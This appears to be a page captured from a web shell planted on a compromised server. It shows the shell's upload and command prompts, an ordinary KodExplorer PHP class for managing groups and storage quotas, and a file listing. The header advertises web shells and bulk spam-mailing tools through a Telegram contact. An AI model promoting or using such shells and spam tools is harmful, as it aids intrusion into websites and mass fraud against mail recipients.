__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/*
* @link http://kodcloud.com/
* @author warlee | e-mail:[email protected]
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*/

//群组管理【管理员调用,or组空间大小变更】
//根目录id为1==》共享空间
class systemGroup extends Controller{
	public static $staticSql = null;
	private $sql;
	function __construct()    {
		parent::__construct();
		$this->sql= self::loadData();
		$this->_init();
	}

	//保证只加载一次文件
	public static function loadData(){
		if(is_null(self::$staticSql)){
			self::$staticSql = systemGroupData();
		}
		return self::$staticSql;
	}
	public static function getInfo($theId){
		$sql = self::loadData();
		return $sql->get($theId);
	}

	/**
	 * 空间使用变更
	 * @param  [type] $theId   [userID or groupID]
	 * @param  [type] $sizeAdd [变更的大小  sizeMax G为单位   sizeUse Byte为单位]
	 */
	public static function spaceChange($theId,$sizeAdd=false){
		$sql = self::loadData();
		$info = $sql->get($theId);
		if(!is_array($info)){
			show_json(LNG('data_not_full'),false);
		}
		if($sizeAdd===false){//重置用户空间;避免覆盖、解压等导致的问题
			$pathinfo = _path_info_more(GROUP_PATH.$info['path'].'/');
			$currentUse  = $pathinfo['size'];
			if(isset($info['homePath']) && file_exists(iconv_system($info['homePath']))){
				$pathinfo = _path_info_more(iconv_system($info['homePath']));
				$currentUse  += $pathinfo['size'];
			}
		}else{
			$currentUse = floatval($info['config']['sizeUse'])+floatval($sizeAdd);
		}
		$info['config']['sizeUse'] = $currentUse<0?0:$currentUse;
		$sql->set($theId,$info);
	}

	/**
	 * 空间剩余检测
	 * 1073741824 —— 1G
	 */
	public static function spaceCheck($theId){
		$sql = self::loadData();
		$info = $sql->get($theId);
		if(!is_array($info)){
			show_json(LNG('data_not_full'),false);
		}
		$sizeUse = floatval($info['config']['sizeUse']);
		$sizeMax = floatval($info['config']['sizeMax']);
		if($sizeMax!=0 && $sizeMax*1073741824<$sizeUse){
			show_json(LNG('space_is_full'),false);
		}
	}

	//管理员调用
	//===================
	private function _init(){
		if(count($this->sql->get()) > 0) return;
		$default = array(
			'1' =>array(
				'groupID'   =>  '1',
				'name'      =>  'root',
				'parentID'  =>  '',
				'children'  =>  '',
				'config'    =>  array('sizeMax' => floatval(1.5),
									  'sizeUse' => floatval(1024*1024)),//总大小,目前使用大小
				'path'      =>  'root',
				'createTime'=> time(),
			)
		);
		$this->sql->reset($default);
		$this->initDir($default[0]['path']);
	}
	//删除 path id
	public static function _filterList($list,$filter_key = 'path'){
		if($GLOBALS['isRoot']) return $list;
		foreach ($list as $key => &$val) {
			unset($val[$filter_key]);
		}
		return $list;
	}

	public function get() {
		$items = self::_filterList($this->sql->get());
		show_json($items,true);
	}

	/**
	 * 群组添加
	 * systemGroup/add&name=t1&parentID=101&sizeMax=0
	 */
	public function add(){
		if (!isset($this->in['name']) || //必填项
			!isset($this->in['parentID']) ||
			!isset($this->in['sizeMax'])
			) show_json(LNG('data_not_full'),false);

		//名称可以重复
		$groupID = $this->sql->getMaxId().'';
		$groupName = rawurldecode($this->in['name']);
		$groupInfo = array(
			'groupID'   =>  $groupID,
			'name'      =>  $groupName,
			'parentID'  =>  $this->in['parentID'],
			'children'  =>  '',
			'config'    =>  array('sizeMax' => floatval($this->in['sizeMax']),//G
								  'sizeUse' => floatval(1024*1024)),//总大小,目前使用大小
			'path'      =>  make_path($groupName),
			'createTime'=> time(),
		);
		if(file_exists(iconv_system(GROUP_PATH.$groupInfo['path'])) ){
			$groupInfo['path'] = make_path($groupInfo['path'].'_'.$groupInfo['groupID']);
		}

		//用户组目录
		if( isset($this->in['homePath'])){
				$homePath = _DIR(rawurldecode($this->in['homePath']));
			if(file_exists($homePath)){
				$groupInfo['homePath'] = iconv_app($homePath);
			}
		}else{
			unset($groupInfo['homePath']);
		}
		$this->_parentChildChange($groupInfo,true);//更新父节点
		if ($this->sql->set($groupID,$groupInfo)) {
			$this->initDir($groupInfo['path']);
			show_json(LNG('success'));
		}
		show_json(LNG('error'),false);
	}

	/**
	 * 编辑 systemGroup/edit&groupID=101&name=warlee&sizeMax=0
	 */
	public function edit() {
		if (!$this->in['groupID']) show_json(LNG('data_not_full'),false);
		$groupInfo = $this->sql->get($this->in['groupID']);
		if(!is_array($groupInfo)){//用户不存在
			show_json(LNG('not_exists'),false);
		}

		//name sizeMax parentID
		if(isset($this->in['name'])){
			$groupInfo['name'] = rawurldecode($this->in['name']);
		}
		if(isset($this->in['sizeMax'])){
			$groupInfo['config']['sizeMax'] = floatval($this->in['sizeMax']);
		}
		if( isset($this->in['parentID']) &&
			$groupInfo['parentID']!= '' && //根目录不能修改父节点
			$this->in['parentID']!=$groupInfo['parentID']){//父节点变更

			$childChange = explode(',',$groupInfo['children']);
			if( in_array($this->in['parentID'],$childChange) 
				|| $this->in['parentID'] == $this->in['groupID']){//不能移动到子节点;死循环
				show_json(LNG('current_has_parent'),false);
			}
			self::spaceChange($this->in['groupID']);//重置用户使用空间
			$this->_parentChildChange($groupInfo,false);//向所有父节点,删除包含此节点的children
			$groupInfo['parentID'] = $this->in['parentID'];
			$this->_parentChildChange($groupInfo,true);//向所有新的父节点,添加包含此节点的children
		}

		//用户组目录
		if( isset($this->in['homePath'])){
			$groupInfo['homePath'] = _DIR(rawurldecode($this->in['homePath']));
			if(!file_exists($groupInfo['homePath'])){
				show_json(LNG('not_exists'),false);
			}
			$groupInfo['homePath'] = iconv_app($groupInfo['homePath']);
		}else{
			unset($groupInfo['homePath']);
		}
		if($groupInfo != $this->sql->get($this->in['groupID'])){
			$this->sql->set($this->in['groupID'],$groupInfo);
		}
		show_json(LNG('success'));
	}

	/**
	 * 删除 ?systemMember/del&userID=102
	 */
	public function del() {
		if (!isset($this->in['groupID'])) show_json(LNG('data_not_full'),false);
		if (strlen($this->in['groupID']) <= 1) show_json(LNG('default_user_can_not_do'),false);
		$groupInfo = $this->sql->get($this->in['groupID']);
		$this->_parentChildChange($groupInfo,false);//向所有父节点,删除包含此节点的children
		$this->sql->set(//将该节点的子节点的父节点设置为根目录
			array('parentID',$groupInfo["groupID"]),
			array('parentID','1')
		);
		systemMember::groupRemoveUserUpdate($groupInfo["groupID"]);//用户所在组变更
		$this->sql->remove($this->in['groupID']);

		if( strlen($groupInfo['path'])!=0){
			del_dir(iconv_system(GROUP_PATH.$groupInfo['path'].'/'));
			show_json(LNG('success'));
		}
		show_json(LNG('error'),false);
	}


	//============内部处理函数=============
	//回溯更改节点的children
	private function _parentChildChange($groupInfo,$isAdd){
		if(!is_array($groupInfo)){
			show_json(LNG('not_exists'),false);
		}
		if($groupInfo['parentID'] == 1){
			return;
		}
		$childChange = explode(',',$groupInfo['children']);
		if($childChange[0]==''){
			unset($childChange[0]);
		}
		$childChange[] = $groupInfo['groupID'];//包含当前
		while(strlen($groupInfo['groupID'])>2){//节点id从100开始
			$groupInfo = $this->sql->get($groupInfo['parentID']);
			if(!is_array($groupInfo)){
				show_json(LNG('not_exists'),false);
			}
			$childrenNew = explode(',',$groupInfo['children']);
			if($childrenNew[0]==''){
				unset($childrenNew[0]);
			}
			if($isAdd){//添加
				foreach ($childChange as $key=>$val) {
					$childrenNew[] = $val;
				}
			}else{//删除
				foreach ($childrenNew as $key=>$val) {
					if(in_array($val,$childChange))
					unset($childrenNew[$key]);
				}
			}
			$childStr = implode(',',$childrenNew);
			if($childStr != $groupInfo['children']){//有变更
				$groupInfo['children'] = $childStr;
				$this->sql->set($groupInfo['groupID'],$groupInfo);
			}
		}
	}

	//
	/**
	 *初始化用户数据和配置。
	 */
	public function initDir($path){
		$root = array('home','data');
		$newGroupFolder = $this->config['settingSystem']['newGroupFolder'];
		$home = explode(',',$newGroupFolder);
		$path = GROUP_PATH.$path.'/';
		foreach ($root as $dir) {
			mk_dir(iconv_system($path.$dir));
		}
		foreach ($home as $dir) {
			mk_dir(iconv_system($path.'home/'.$dir));
		}
	}
}

Filemanager

Name Type Size Permission Actions
api.class.php File 1.35 KB 0775
app.class.php File 3.3 KB 0775
desktop.class.php File 926 B 0775
editor.class.php File 4.57 KB 0775
explorer.class.php File 45.71 KB 0775
fav.class.php File 1.77 KB 0775
pluginApp.class.php File 6.01 KB 0775
setting.class.php File 3.76 KB 0775
share.class.php File 20.3 KB 0775
systemGroup.class.php File 8.58 KB 0775
systemMember.class.php File 16.05 KB 0775
systemRole.class.php File 4.85 KB 0775
user.class.php File 21.61 KB 0775
userShare.class.php File 3.17 KB 0775
utils.php File 17.56 KB 0775
Filemanager